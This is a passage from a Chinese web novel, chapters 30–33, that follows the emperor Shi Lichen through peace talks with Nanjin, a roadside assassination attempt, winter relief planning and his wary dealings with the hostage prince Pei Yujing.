反正闲着也是闲着,打不了过过嘴瘾也好。 房将军晨练结束,忽地收到一则调令—— 退兵。 他摸不着头脑,但圣令不可违,下令鸣金收兵。没过一会儿,却听到对岸隐约响起同样的敲锣声。 房家墨骑马往前行了一里,瞧见河岸对面似乎有些急切的收营,整军,浩浩荡荡的撤退。 当然急,河梁府粮快耗绝,就要守不住了,南晋将军收了圣旨,带上半数军马,忙着赶赴河梁府支援。 * 月商皇城。 自打收到南晋国信以来,圣上一直心情大好,南晋愿割赔两千万两黄金,且不算其他珠宝玉器在内。 两国战后国库空虚,这大概是南晋能拨出最大的诚意。 月商水利建设,开渠凿道要花钱的地方多,两千万两黄金够做很多事,师离忱何乐而不为,同意了南晋再次和谈的请求。 他也不想闹得两败俱伤,到时候让鞑靼人捡了便宜,那就亏了。 边境双方都撤了军,南晋无后顾之忧,河梁府击退鞑靼人的消息,很快就落到圣上的御案前。 深秋快入冬。 皇宫内廷。 近来圣上双膝总是隐隐作痛,担忧圣上旧疾复发,乐福安好劝歹劝,总算让圣上从紫宸殿般到了暖阁歇息。 升起地龙之后,殿内暖如春。 圣上要泡御池,乐福安伺候着圣上褪去氅衣。圣上藻丛般的墨发披在周身,笑看裴郁璟,“你赌输了。” 不过却从另一方面给了他一个惊喜。 师离忱挺好奇,也想知道,“你是怎么做到,让三大部族之一,去攻打南晋的河梁府?” 谈话间,他坐在椅子上,乐福安正打算蹲身为圣上褪靴,却被突然上前的高大身形挤开。 乐福安要怒不怒地瞪着裴郁璟。 见圣上默许,他一口骂人的话咽在嘴里,恨恨地翻了个白眼,转身去备圣上沐浴要用的其他东西。 大掌握住圣上的腿肚,脱去靴袜,露出白皙的玉足,圣上懒洋洋地闭目,坦然享受来自男主的服侍。 裴郁璟打量着一双足,是和小皇帝气度完全不符的娇嫩,可惜握久了小皇帝会不高兴。 他松开握住腿肚的大掌,手心似乎还有一点柔软的触感,看着圣上道,“赌约虽输了,可圣上也不亏,不是吗?圣上真不打算赏赐璟?” 师离忱哼笑,“自然。” 比起再接管一座城,得到足够丰厚的赔款,休养生息才是更好的决策。刚攻下的南晋三城,同化起来还需一段时日。 忽地,他睁眼瞥向裴郁璟,好心情的开恩道:“做的不错,朕许你一诺也未尝不可。” 帝王眼梢轻弯,唇边含笑,他鸦羽般微卷的长发之上,金饰已然全部除去,居然让人瞧出几分难得的柔和意味。 裴郁璟眸色深了深,恶狼在这一刻展露獠牙,显出目的,“那璟,想要一个人,不知圣上许不许。” 师离忱意味深长地喔了一声,歪着脑袋,好脾气问:“你想要谁?” 赐给裴郁璟金吾卫官服的同时,他还顺带给了个出入宫墙的令牌,莫非是在他不知晓的地方,男主已经和命定天子探花郎遇上了? 沦陷的真快。 可惜事与愿违,裴郁璟笑容深沉,嗓音低了低,“南晋俘虏,如今被关押在月商边城的南晋副将,沈绍,沈将军。” 沈绍。 这个名字有些熟悉,师离忱敛眸,无声的在口中过了一遍。 陡然间,他倦怠之色一扫,微微俯身凝视着裴郁璟的双眼,“朕想起来了,南晋俘虏押送途中,曾遇到过三回山匪劫囚。” 他听镇国公提过一回,说那些山匪身手不凡,认为有古怪,后头派人寻找却了无踪迹。 师离忱抚摸着裴郁璟脸颊,笑得和善,“这事,你干的?” 裴郁璟像是完全没有察觉到圣上克制的怒意,顺理成章的覆盖住圣上的手背,很诚实:“是我。” 然后就挨了一巴掌,偏过头去,让人看不清神情。 圣上舒坦多了,甩了甩发麻的掌心,语气不辨喜怒:“劫囚三回,放跑了几百个俘虏,你不仅敢承认,还敢朝朕要人?” 这巴掌和之前比可真是小巫见大巫。裴郁璟简单比对一番,等半晌没等到小皇帝的第二掌。 他扭头盯紧着圣上,笑着把脸往前凑了凑,“圣上消气的吗?没消气的话,可以等消气再谈。” 似乎是忘了收敛情绪,这张俊美阴鸷的脸带起笑来,也是阴恻恻的,黑眸深邃无底,颇有种隐藏在平静之下的疯感。 眼神里似乎有野性的,深藏不露的狠厉。 师离忱格外喜欢他这种不经意间透露出的眼神,一股子野心勃勃的劲,他多瞧一会儿都欢喜的想把裴郁璟眼珠子抠出来。 要命的操作和想法,令系统狂响。 师离忱很遗憾。 但不妨碍他干点别的。 他身子前倾,捏了捏裴郁璟的后颈,特意在那块漂亮到想挖出来的颈骨上停留了会儿。 裴郁璟陡然紧绷。 即便是身在暖阁,小皇帝的指腹还是有一丝微凉,因为帝王半个身子往前倾,此刻他与小皇帝的距离很近,他只需要抬个头,张嘴就能咬到小皇帝精致白润的锁骨,淡淡的熏香不断钻入鼻腔。 他有些走神,也不知是什么香,久闻不腻。 师离忱却把他的紧绷,理解成了其他意思,心情又好了,嗤笑道:“怕什么,朕一诺千金。” 被系统吵烦了,他收手,没骨头似的往椅背上一瘫,不轻不重地在裴郁璟肩上踹了一脚,对外唤了声:“郞义。” 等郞义进殿,他随口交代了郞义去传信,要把沈绍提来京都。郞义领了命,退下去办。 此时,乐福安备好了御池,道:“圣上,可以洗浴了。” 圣上起身,瞧了眼顺势席地而坐的裴郁璟,“还不出去?” 裴郁璟道:“圣上不需要小宠伺候吗?” 师离忱视线凉薄地睨他一眼,裴郁璟从善如流的站起来,到外头,“圣上有需要记得叫璟。” * 两国确认休战,南晋派遣一支军队将黄金送往边境,再由月商的军队清点接收押送,还派了新的使臣团来。 在路上还得走一段时间,师离忱更关心监察司的确立。 监察司已然筹备的差不多,只差选拔,太师与太傅递上来的章程没问题,位置选定好了,就开始张贴榜文,公告选拔时间。 当然,明工坊与金吾卫也并入了监察司,考察品行特长,还要招毒师,铁匠,画师……总之各类人才都要聚起,最好是拔尖的。 涉及文书类的工作,需要有功名在身的学子才可上报,其他则从民间选拔。 天气越来越冷,师离忱身上的衣裳越来越厚,沉甸甸的大氅披着虽然暖和,但也让他不想动弹。 批了奏折便懒懒地窝在小榻上。师离忱觉得裴郁璟最近有种怪异的殷勤,总抢乐福安的活干。 比如他日常半躺在小榻上休息,都由乐福安揉太阳穴,或者捏腿,来缓解疲累。现在这些活全被裴郁璟抢去了。 师离忱不断回想书中剧情,也没想起来沈绍究竟是何许人也,竟值得裴郁璟如此大献殷勤? 他还在等南晋军营调查沈绍的暗探传信回来。 裴郁璟跪坐在小榻上,给圣上捏着腿,以他的身量在这方本就不大的榻上,显得格外蜗居。 圣上闭目思索着事,听到乐福安雀跃的呼声:“圣上,圣上,逸王殿下来消息了!” 逸王,圣上的八皇弟。 师离忱眼皮都没抬一下,冷哼道:“他不是号称外出游历,大半年都没个踪影,居然还能记得给朕递信?” “逸王殿下总归是记挂圣上的。”乐福安笑眯眯地把信奉到圣上跟前,哄着:“奴才知道,您也记挂着殿下,就当给老奴一个面子,您瞧瞧吧。” 师离忱扬眉,伸出手来,乐福安伺候圣上坐起身来,将信递到圣上手中。 圣上打开瞧了几眼,笑骂道:“这混账东西,说是给朕寄了一马车在各地购买的精品物件,朕瞧着他是要朕收垃圾。” 看着圣上发自内心的笑容,乐福安慈爱道:“不若等物件到了,圣上赏脸瞧上一瞧,要是垃圾,等殿下回来您罚他就是。” 师离忱哼笑,又把信翻看了一遍,笑着摇头让乐福安收起来。 …… 隔了两日,至十五,圣上听说每月十五是九华寺的礼佛日,起了心思,打算微服出巡。 他自是不信佛,但不妨碍他对其他东西感兴趣。 月商开国至今,算上他总共也就三代皇帝,国力强盛,可有些制度并不完善,他得去看看。 况且太后在九华寺呆了那么久,这地方多少会有点别的猫腻。 * 禁军营里,穆子秋魂飞天外。 自打那场驯马会后,他就没再见过圣上,宫里倒是去过几次,后来太后姑母也嫌他烦了,不许他再去。 这回连借口偶遇的机会都没了。 都快一个月了,也不知圣上有没有好好吃饭……正走神间,禁卫军统领突然带来个消息,“圣上口谕,召你护驾。” 被巨大的惊喜冲昏头脑,穆子秋当场呆愣原地。 禁军统领脸上全是羡慕嫉妒,狠狠拍了拍穆子秋肩膀,“御前侍驾的机会,好好把握!” 御前侍驾! 穆子秋眼神都亮了,拔腿就跑。 …… 马车在官道上悠悠行驶。 穆子秋拉着个脸,目光不善地瞥向另一边的裴郁璟,将不待见几乎都写在脸上,怎么这南晋人也在! 郞义一脸严肃的驾着马车,两队护卫悄然跟在后头。 圣上嫌闷,拉起帘子开窗透气,乐福安焦心地劝,“离公子,外头风大,当心身子!” 圣上不听他的,我行我素的吹风。 裴郁璟骑在马上,很难得有这个机会,用俯视的角度去看马车窗内一脸淡漠的小皇帝。 今天微服出巡,只除了显眼物件和饰品,不做易容,小皇帝套着一身银白外头披着狐裘,裹在肩颈,完全一副贵公子的打扮,长发半挽,懒懒地耷拉着眼皮,像玉雪一样。 裴郁璟想不通,这么白净的人儿,怎么心眼那么黑呢? 智多近妖。 默默瞧了会儿。 他倏然叹道,“圣上,有水吗,我渴了。” 师离忱态度很残忍,“忍着。” 今儿个裴郁璟骑的是汗血马,汗血马本就比其他马健壮,他在马背上牵着缰绳,一身暗色劲装,与之相得益彰。 师离忱托腮,抬眼盯着裴郁璟,头一回仰视别人,这个视角对于圣上来说,也很新奇。 瞧着裴郁璟握着缰绳,手背上半浮半藏的青筋,像是随时能爆发出来一样。这人有内力,武功好,掌心也是灼烫的。 师离忱开始有点嫉妒男主这幅健康的身躯,总有使不完的劲,他忽地道:“你习武多久了?” 裴郁璟道:“自小。” 师离忱漫不经心道,“若叫你和郞义比试,谁会赢?” 前头驾车的郞义陡然听到自个的名字,驾着马车缰绳的手不自觉抖了抖,低下头去,却又忍不住竖起耳朵倾听。 郞义? 裴郁璟侧目扫了一眼,心中嗤之以鼻。一个小白脸罢了,到底怎么得到了小皇帝的信任? 他短暂的打量过后,又重新将视线看向了帝王,神色间犹带着几分轻狂,笑了笑道,“圣上想看?回去我与郞统领比一回就是。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 穆子秋嘲道,“南晋人,当心被朗统领打得分不清南北!” 郞统领能被选成金吾卫统领,那可是有过人之处,金吾卫选拔刚开,便以一敌十杀出重围,禁军统领都败在他手底下! 可不是那等混资历的公子哥,是实打实靠身手打到圣上跟前的,穆子秋可不信一个区区南晋质子,能打赢千挑万选杀出重围的统领。 裴郁璟语调敷衍,“打得过打不过,也要打了才知道。” 穆子秋冷笑,顾忌圣上在跟前,他勉强忍住了脾气,只朝裴郁璟翻了个白眼。 身为话题中心的郞义,神情肃冷不改,语含锋芒道:“若有机会,在下也想与裴殿下试试身手。” 裴郁璟眼皮一抬,眸底一瞬划过冷戾之色,但顷刻间又收敛起来,扬唇声音沉冷道:“好啊。” 车马前行,气氛一时暗潮涌动。 圣上可不关心他们的心情,透完气又关上了窗,乐福安心疼极了,赶紧给圣上塞了个手炉,老脸紧皱:“虽说这几日圣上调养好了些,可也要注意防备。” 师离忱含笑道:“朕有数。” 乐福安才不信圣上的话,欲言又止,“您上回发热都快吓死老奴了……” 圣上什么都有数,唯独对自己的身体状况没数,他都恨不得有八双眼睛时时刻刻盯着圣上。 “那是意外。”师离忱哄他,轻咳两声岔开话题,“朕今日出宫的消息放出去了?” 监察司虽确认创立,也进入选拔阶段,但难保有人不会起歪心思,尤其是还未被查出猫腻心里有鬼的皇亲宗室。 乐福安:“放出去了,太后那边也知道了,但在听到穆世子也跟着护驾之后,气得骂了世子一通。” 太后看重母家,顾着血脉的份上,不会冒险作怪。 师离忱转着玉戒,慢条斯理道:“且等吧。” 钓点蠢货出来。 …… 因是微服出巡,招待他们的是一名瘦弱的小沙弥,打眼瞧去像是个吃不饱饭的孩子。 乐福安不满蹙眉,小沙弥似乎看惯了人脸色,怯生生解释,“今日寺中香客多,师兄们忙不开身,小僧为诸位引路,还望公子莫怪。” 九华寺得先帝赐名,香火鼎盛,又离京都不远,驱策马车一日便能走个来回,礼佛日总会来些达官贵人或其家眷。 与之相较起来,一个无名无姓无身份的贵公子就没那么重要了,京都贵公子们可多着呢。 师离忱只带了乐福安和郞义上来,其他人都留守原地,郞义则不近不远的跟着。他抬手,制止乐福安要斥责的话,轻笑道:“那便有劳小师傅了。” 寺中弥漫着一股香火味,在大鼎里烧得正欢,九华寺占据地广,前有金佛高塔,后有千年银杏。 来寺内礼佛之人都要捐香火钱,小沙弥引着众人去往佛前进香,师离忱唤道:“福安你去吧,让小师傅陪我逛逛。” 小沙弥想说不合规矩,但那老仆却笑眯眯对他道:“小师傅,劳您陪好我家公子,香火钱我等自会多多捐出。” 那笑里似是藏了一把隐晦的刀,小沙弥读不懂但凭本能感到了危险,可更令他心动的是那‘多多的香火钱’。 他咽了口口水,应道:“还请施主随小僧来。” 九华寺有名的还有千年银杏树,一部分人也奔着赏景来,寺中弯弯绕绕,师离忱漫不经心道:“小师傅是刚入寺不久?” 面对大财主的询问,小沙弥态度热切很多,他的师兄们都是这样做的,他学着师兄们披上笑脸,“施主慧眼,小僧两个月前才来的九华寺。” 师离忱垂眼淡淡从他身上扫过一眼,双手粗糙,有薄茧,想必是干农活时留下的痕迹。 在这个时代,男子意味着劳动力,对于庄户人家来说,是多了个力气,能够照顾开垦更多的田地,来年收获更多粮食,即便不能下田,也能送去读书考取功名,总归不会想着送到寺里出家。 除非—— 不得已。 脏事能被看见,只能证明底下还藏着有更恶心的交易。师离忱心中有了计较,不再多问。 后院风有些大。 阴沉沉的天色,笼罩在九华寺上空。 风里零星夹杂了水滴,寺庙的僧服并没有那么防寒,小沙弥瑟缩了一下脖子,师离忱侧目道:“小师傅先回去吧,我自行走动就是。” 小沙弥犹疑。 倒不是他不想走,而是主持早就定下过规矩,接待香客需多长些心眼,别冲撞了不该冲撞的人。 他把人带来了后院,万一大财主遇到其他贵人怎么办?到头来罪过还是他的。 年纪小藏不住事,那点担心全写在脸上了,师离忱笑道,“小师傅放心,九华寺我来过许多回,必不会认错路。” 小沙弥看大财主气度不凡,也不像是那种乱闯的人,又一阵寒风吹来, 他忍不住裹紧袖子瑟瑟发抖,实在撑不住着寒气,立掌弯腰道:“小僧失礼了,施主自便。” 师离忱颔首,自顾自在后头逛起来。 千年银杏树枝丫茂密,似一把大伞要把整个后院遮盖,有些已然延伸到了屋顶,树干以及枝头,系满代表祈愿的红带。 银杏满树金黄,地上已铺满一层落叶,被大风一吹,树上的,地上的叶片一齐被卷着,洋洋洒洒荡在空中, 阴云密布,他抬头望向天空,呵出一口淡淡雾气。 随着一片雪花的掉落,其余的雪也跟着落来,不过须臾漫天都是,师离忱接住一片雪花,眸中一片暗沉。 树叶还没掉光,京都位置好,按照往年常态,起码要等冬季的后半程才会下雪,可眼下立冬刚过。 今年的雪来早了。 …… 圣上赏了会儿落雪,待捐完香火钱的乐福安带着伞匆匆过来,抖了抖身上的落雪,在寺中又逛了一个多时辰,才往回返。 其实不调查,师离忱也多少能猜到小沙弥出家的缘由。 月商立国以来,对于佛寺并无明确规定,一切沿用了前朝旧俗,免赋税,加上先帝崇尚信佛,上行下效,导致佛寺香火鼎盛到了一定程度。 九华寺,月商最大的寺庙,师离忱预估它占有田产已超千亩,具体要等官员翻册调查才知。 不仅如此。 佛寺借着济世救人的名号,向外发放印子钱,借一还三,还不上,就拿人拿物抵债,签了卖身契去照顾佛寺所属的田产,寺里连佃户都不必请,如此循环往复,让人身陷地狱。 小沙弥这样长相清秀的,瞧着底子好的,才会被挑进寺庙做和尚。至于其他的污糟事,还得查了才知。 马车上,圣上缓慢转着玉戒,低敛着眉眼深思。 僧徒滥杂,寺庙多币,蛊害百姓。仅仅一个九华寺,便如此张狂,那天底下还有多少这样的寺庙? 先帝虽号广孝帝,可干过的昏事真不少,烂摊子不收拾,还给添了把火。 师离忱情愿他天天炼丹,吃点水银朱砂,也不乐意他信佛去间接导致佛家产业更盛。 圣上神情漠然。 他记得穿书前,曾看过一则典故——魏武帝灭佛。 效仿也未尚不可,但若有别的方式,或许更好。 一片静谧之中。 圣上氅衣上落了的雪花化开,成了小水珠,冒着一股子寒气。 乐福安拿起帕子,给圣上擦拭衣上的水珠,低眉顺眼动作尽量放轻,生怕惊扰了圣上思索。 突然马车骤地颠簸一下,停住。 圣上回神,懒洋洋地往后一靠,搭在膝前指腹有一搭没一搭的点着。郞义厉声大呼:“有刺客!护驾!” 马车舆门忽而被打开,裴郁璟钻了进来,又快速关上。 师离忱撩起眼皮瞥他一眼,一言不发。乐福安也静静瞧着他,头一回没直接开口骂人。 福公公单纯用脸骂得很脏。 而圣上的眼神瞧不出情绪,可空气停顿的片刻中,像是什么也没说,又像是什么都说了。 “圣上,我是来护驾的。”裴郁璟若无其事,语气郑重。 让圣上听到了此生以来最大的笑话。 第32章 舆厢外,兵刃交接,铮鸣厮杀。 舆厢内,一壶檀香袅袅升起,将一切血腥气隔绝在车外,圣上无需为外头咬了鱼钩的蠢货操心。 他看着裴郁璟,笑说:“朕从未听过有人把偷懒,说得如此清新脱俗。” 裴郁璟慢条斯理一笑,受住了圣上的审视,丝毫没有挪动位置的意思,就赖在马车里不走了。 圣上不搭理他,闭目聆听车外动静。 裴郁璟敛眸,视线落在圣上轻轻敲在膝前的手指,他眼底微深,不知有意无意,圣上敲打的每一下都与刀刃划过喉咙的声音相重合。 不多时,响动结束。 郞义报道:“圣上,刺客全部缉拿,留了一半的活口。” 圣上懒懒地应了声,“移交大理寺查办。” 重新整装,马车又继续往前行,这场没头没尾的刺杀就此草草结束。当然这个把柄,圣上会很好的利用起来。 比如让合适的,该死的人,来一起背这口黑锅。 …… 目前还有更重要的事。 师离忱回宫,紧急召见了内阁大臣,以及钦天监。 这个时代的钦天监并非是那等浪得虚名的忽悠之辈,他们有真本事,观星测算方位,即便预测天气也不在话下。 京都一场初雪,让圣上嗅到了灾祸的味道,所谓居安思危,京都雪来得如此早,天寒地冻,对于这个时代的百姓来说,是难以渡过的劫难。 月商无相辅,立内阁,内阁审理奏疏先以纸条写上各自意见,再由圣上过目批定决策,试行票拟批答,上传下达。 若平日有紧急政务,圣上通常都是召一两个人觐见,极少会把大半内阁臣子全召进宫。 歇着的,上值的,急匆匆都赶来了。一瞧钦天监那帮人也来了,顿时二丈摸不到头脑。 圣上也不兜圈子,要开国库,也要购置民间木棉,棉花,鹅绒,鸭绒,羊皮绒,一切保暖的物品。 一旦出现涨价的现象,就放出这些物资,要尽可能把物价控制在平常的范围,避免恶性涨价。 可人毕竟算不到天灾,钦天监只能根据天象,大概划分近一月来的气候,知道会有酷寒,但无法准确推算出到底会持续多久。 得知并未出多严重的事,圣上只是为了防患于未然,户部侍郎不解道:“圣上,若今年冬季并无白灾出现,此举岂非损耗国力?” “樊侍郎此言差矣。” 殿阁大学士柳清宁正在一旁为圣上拟定诏书,道:“南晋赔款足够,眼下国库充盈,既能防为何不做?侍郎俸禄深厚,自不知百姓冬日煎熬,为官者,旁观便是最大的罪。” 户部侍郎红了脸,羞愧低头。 太师深思,“只是控价,恐怕不够。” “自是不够。”上首,师离忱敲了敲御案,神情淡淡瞧不出喜怒,“与各地学堂商议租用,若学堂不肯就把府衙整理出来,开辟暖屋供贫民取暖,避免浑水摸鱼需严格考察背景。” 太师沉吟片刻,道:“臣以为不妥,圣上此举确实能够救助家贫难渡严寒之人,可遇到无赖,或贪心者,指不定会强求学堂供餐,一来二去成了理所当然,如此便背了初心。” 人性是贪婪的。 师离忱也考虑到了这点,问道:“太师有何解?” “不如向前来取暖之人,收缴一定费用,这笔费用拿来给他们供餐,不必好吃,只需吃饱。” 太师认真道,“例如难下口的糙米野菜,或汤饼泡糠,极为穷苦的人家才会吃这些,虽难入口却能饱腹。常人吃不惯这两样东西,这样一来便只有走投无路之人,才会交费取暖。” 当然,收取的费用不贵,必然是这些人能承受起的范围。 此言一出。 殿中陡然寂静。 所有人视线都凝聚在了太师身上。 这招虽损,但有效。就像赈灾用的白粥里都得掺杂石子砂砾,避免有心之人从中获利。 太师所想与他如出一辙,简直说到了师离忱心坎。他拍案大笑,开怀道:“按爱卿说的办。” 同时,圣上笑够了,停下,转着玉戒眸色发寒:“给各地州府都知会一声,有不服闹事者不必客气,直接下狱。” 柳清宁应声,在拟的诏书上加上几句。事就这么定下来,传达至各地州府安排办理,预防冬季白灾以减少伤亡。 处理好这事后,圣上又拿出近来上呈的奏疏,针对疏漏的地方,与大臣们进行新一轮的商议。 * 京都的雪不大,细雪时停时下。 但足够让京都覆上一层银霜,朝务繁忙,大小事皆要兼顾。 圣上遣退其余人,只留了殿阁大学士,内阁学士,翰林院掌院,六科给事中,以及太师,日夜洽谈定论,整整忙了三日才散。 紫宸殿的前殿堆满了搬来的文书奏折,圣上要尽快把一切决策安排落实,各处调度必须严丝合缝。 乐福安给每位臣子都安排了一张小榻,累了就歇一歇,一日三餐更衣都在偏殿,就连圣上也没怎么合眼,与其同吃同住。 待到三日后散去,前殿的门终于打开,走出来的官吏们眼下都带着大大的黑眼圈。 太师临出门,还捶打着发酸的腰杆,再来一回他的老命就得交代了。外头乐福安早早候着,迎着颤颤巍巍的老太师,送上轿撵。 考虑到太师年岁已高,圣上专门赐了代步轿撵。 …… 乐福安送完各路大臣,赶紧着手进殿,圣上眉眼间倦怠之色,手肘支撑在御案上扶额歇息。 乐福安眼眶发热,心疼极了,低声劝道:“圣上,到后头去睡一觉吧。” “不急。”师离忱揉着眉心缓解头疼,声音有些沙哑,问道:“沈绍快到京都了吧?” 乐福安道:“是,房将军听说是圣上点名要的人,特意叫房小将军亲自压着过来。” 师离忱情绪毫无波动的嗯了一声。 乐福安又道:“两天前,鹿亲王来过一回,听说圣上在议政无空,便又打道回去了。” 鹿亲王,圣上的皇叔。他道,“鹿亲王留了一株千年人参,说是圣上遇刺受惊,该补补。” 师离忱嗤笑,“无事不登三宝殿。” 刺客移交给大理寺查办,也就代表他没打算瞒着遇刺的消息,鹿亲王知晓后有动作才是正常。 他的这位皇叔,和太后一样都快把蠢字写脸上了。 听了两则消息后,师离忱也不打算再熬,这三日少眠少休,他现在需要满满的睡一觉。 * 京都城。 裴郁璟站在高楼,瞧着满城的楼台高阁被银装素裹,高低错落间生出一丝丝寂寥感。 小皇帝这会儿在干嘛呢? 和那帮大臣憋在一个屋里那么久,也不知散了没,明明脾性如此乖张,却意外的勤政爱民。 夜色浓黑。 裴郁璟隐在黑暗中的神情阴鸷。 他看不透。 看不透年轻帝王那张俊昳明艳的容貌之下,究竟藏着一颗什么样的心。 寒风迎面拂来,一只海东青飞停在他手臂上,大掌抚过雄鹰脊背,取下腿边的信笺。他眼神冰冷,野心勃勃地扫过信上内容,勾唇间戾气应然而生。 好圣上的血,会有红山茶那么艳吗? 有的吧,矜贵的人足底踩在脸上都是冰冰凉凉,连指腹都带着花香。他舔了舔唇,试图回味含住帝王指腹那一瞬间的触感。 嗯…… 还真有点舍不得。 …… 津阳城外,瞭望塔。 守城兵第一时间发现出现在城外的鞑靼旗帜,点燃烽烟,鸣鼓备战。鞑靼人莫名其妙的来偷了一处粮仓,又莫名其妙的退走,这才没多久又卷土重来。 津阳城守备得到消息,套了玄甲直出营地,登上瞭望塔,摸不清鞑靼人到底是偷东西还是要打,烦得直挠头。 他在塔上,打量了几眼,神情逐渐凝重,肃然道:“不对,这是另一个部的鞑靼人。” 鞑靼分三大部族,与十几个小部落,划分地区各不相干。先前来偷粮仓的鞑靼人没有明显特征,或许是不起眼的小部族。 而眼前这支,属于三大部族之一,鞑靼王师。 津阳城守备扭头厉声,“戒严!戒严!即刻调动全城兵马,随时准备出战!” 显然不是小事,守城兵立即去传信。 与此同时。 鸣鼓之声隐约传入了津阳城中,酒肆,一名大汉将剩下的半碗酒水囫囵吞下,两枚碎银拍在案上,“不必找了。” 大汉体态强壮,站起来给人一种十足的威压感,披着一身狼皮,腰缠皮革带,一柄大刀悬在腰间,走起路来虎虎生风,路人不敢与之对视,自动避让。 他直达城外营地,被兵卒拦下,冷脸斥道:“大胆!军营重地岂可乱闯!还不快滚!” 大汉不紧不慢,掏出一枚印信,高举呼道:“圣上御令,调我秦家军守津阳,诛鞑靼,唤你们守备出来!” …… 津阳尚未开战,鞑靼兵马只聚在边线外,鞑靼人的头领似乎还没到,以防万一守备已派兵前往对峙,尽量将其拦在边线。 探子来报,此行鞑靼起码来了有两万的兵马,鞑靼人本就善战,即便两万也不容小觑。 津阳守备正打算去盯紧情况,然后就听说圣上派了个秦家军来。 秦家军? 听都没听过。 可有印信,津阳守备就将人放进来了。 总归只来了一个人,在营地翻不出浪,若是验证了印信是作假或者是鞑靼奸。细,便直接就地斩杀。 …… 一身酒气的大汉,与津阳守备面面相觑。 津阳守备一手拿着印信,一手拿着一张玄金交加的龙纹旨令。 印信可以作假,但圣旨的材料不行。圣旨通常都是上好蚕丝织出来的绫锦,道道工序严苛,工艺复杂,每一环都需要画押签字,皇家专属,根本无法流通在外。 织的时候就把会把隐秘的龙纹织进去,细密的金龙从玄色绫锦里透出来,做工精细,又以朱笔写上御令,圣上盖了章。 这是真的。 但津阳守备看看手里的御令,又看看浑身酒气,瘫坐在椅子上打哈欠的大汉,怎么都不敢信,声音话语都变了调:“圣上凭什么让你监军啊?” 哪儿冒出来的秦家军! 大汉‘切’一声,嫌弃地扫一眼津阳守备,“孤陋寡闻。” 他道:“十二年前,先帝在位,我一人可追出鞑靼十里地,要不是我退了,哪里轮得到房家墨守边疆。” 津阳守备细细回想,怎么也没想起来月商国还有一支秦家军,可听他口气狂悖,敢直呼房将军姓名。 津阳守备有些不自信,迟疑道:“……那您是?” 大汉打了个酒嗝,“都说了,我是秦家军。我就叫秦家军!” “……” 啧。 津阳守备看着大汉,气得龇牙。 你妈的。 * 圣上过于疲累,睡过了头,醒来的时候已至晌午。 简单的用过膳食,便听到外头通传,“圣上,鹿亲王求见。” 师离忱也想瞧瞧这位皇叔打得什么鬼主意,道:“宣。” 一中年男子入殿,岁月在他脸上留下了少许痕迹,但不显眼,依稀可见曾经的俊朗,他举止儒雅:“臣,见过圣上。” 师离忱摆手示意他起身赐座,笑眯眯道:“皇叔可用过膳了?” “用过了。”鹿亲王坐在乐福安搬来的椅子上,和气道:“听闻前些日子圣上遇刺,臣心有余悸,又来了宫中两回得知圣上忙于政务了无空闲,直至昨日才合眼歇息。” 他凝视着师离忱,叹道:“圣上要爱惜身子才是。” 师离忱无所谓笑了笑,“虽说近些年来朕体弱了些,可底子还在,劳累几日不算什么。” 他拿起小宫女承托来的帕子,擦拭嘴唇,接着垂眸净手,不紧不慢道:“倒是皇叔岁数见长,近来地滑走路要当心,别摔跟头。” 鹿亲王面颊带笑,“臣自当谨记,只是诏狱迟迟审不出刺客的幕后主使,臣放心不下圣上。” “这便不劳皇叔费心了。师离忱笑说,“说不说的不打紧,重要的是朕怀疑有人听信了挑唆,他们才会冒头。” 九华寺在京都城外,皇城根下,敢动手刺杀和自寻死路没差。 鹿亲王神态没有一丝不悦,反倒跟着笑开来,应道:“圣上说的是,得让大理寺办案抓点紧,将余孽一网打尽。” 师离忱望着鹿亲王,笑而不语。 余孽当然要抓,这锅当然也要甩。 第33章 京郊破观。 一阵铁蹄声阵阵响,直到庙前才停。破观只剩一件瓦房,还有掉了半边身子的泥塑。 破观大门早已被腐蚀不剩什么,一帮半甲黛狐罩袍的金吾卫涌入之时,已然足够挡住了外头的光明。 破观中的乞丐们瞬间被吓得瑟缩成一堆。 金吾卫为首司戈展开画像,指着乞丐堆中的一人,冷道:“他,林氏余孽,押走!” 被指的是一名十五六岁的小乞丐,咬着指甲瑟瑟发抖,眼里有泪,也有愤恨,可惜拗不过,只挣扎了两下就被直接打晕绑走。 * 雪景配山茶。 师离忱懒懒地靠着赏景,手里端得是秦家军打退鞑靼的密报。 鞑靼三大部族,他们的名字翻译成中原话又长又拗口,师离忱通常把三大部族标为鞑靼王师——红黄蓝。 这回来进攻津阳城的鞑靼王师‘蓝’,师离忱以颜色划分鞑靼部族方式的时候,也不是没有依据。 号‘蓝’的鞑靼部族,羊皮外衣上总会带一点蓝,可能是一个太阳花腰挂,也可能是衣襟上缝制的花纹,也有其他颜色,但更多是以蓝为主体。 同理,另外两支鞑靼王师‘红’与‘黄’,也是如此。这三支王师曾经是一家,但几十年前鞑靼内讧,导致分裂成了三个部族。 系统给的书中有记,天下大乱一部分是因为暴君病重,即将离世无法管顾月商,南晋皇帝也在此时崩逝,皇子党争斗激烈。 两国国君同时出事,鞑靼抓准了机会。三支王师部族达成合作,一致先决定先侵外。 三大王师进攻中原,想吞了南晋与月商。 而攻打南晋和偷津阳粮仓的那帮鞑靼人,师离忱收到的探子来报中,确认了对方不属于三大王师之一,但他们听从裴郁璟的调遣。 男主与鞑靼人有联系,至于他在其中扮演什么成分,就很难说了。 …… 思索间,裴郁璟已然来到师离忱跟前。 乐福安始终对这位掐过圣上脖子的不轨之徒有偏见,目光警惕地落在他身上,一刻也不移开。 师离忱不轻不重道:“津阳城的那支鞑靼,你叫来的?” 裴郁璟一身赤虎官袍,撩开衣摆随意坐在圣上身前的台阶上,挑眉笑了笑,“圣上这份怀疑,我背得好没道理。” “喔?不是你。”师离忱眼梢弯了弯,和善道:“那你说说看,是谁。” “圣上不放心?”裴郁璟叹道:“还好我有鞑靼探子传回的消息,不然要被圣上冤枉死。” 对此,圣上笑容中多出几分嘲弄之意,“原来你心里有数。” 裴郁璟优哉游哉道:“消息说了,鞑靼王师收到了月商之人报信,大意为津阳军营有内应能传军机,可与鞑靼里应外合攻下津阳城。” 有秦家军守着,只要不是三部王师联合,圣上便不必担忧津阳城的安危,反倒是鞑靼该担心担心自己。 师离忱嗤道,“那怕是要让他们失望了,朕有将军守在津阳城,他们攻不进来。” “可能在津阳军营安插内应,怕是朝中之人。”裴郁璟不动声色打量着圣上的神情,“圣上不打算细究?” 然而圣上神色毫无变化,眺望着不远处被薄雪覆盖的山茶花树,看那一地鲜红残雪,笑容莫测:“狗急会跳墙,与外邦人联合的蠢材,命都快没了,放他游几日又有何妨?” 裴郁璟随着圣上的视线,也看向那一滩山茶,“圣上知道是谁?” 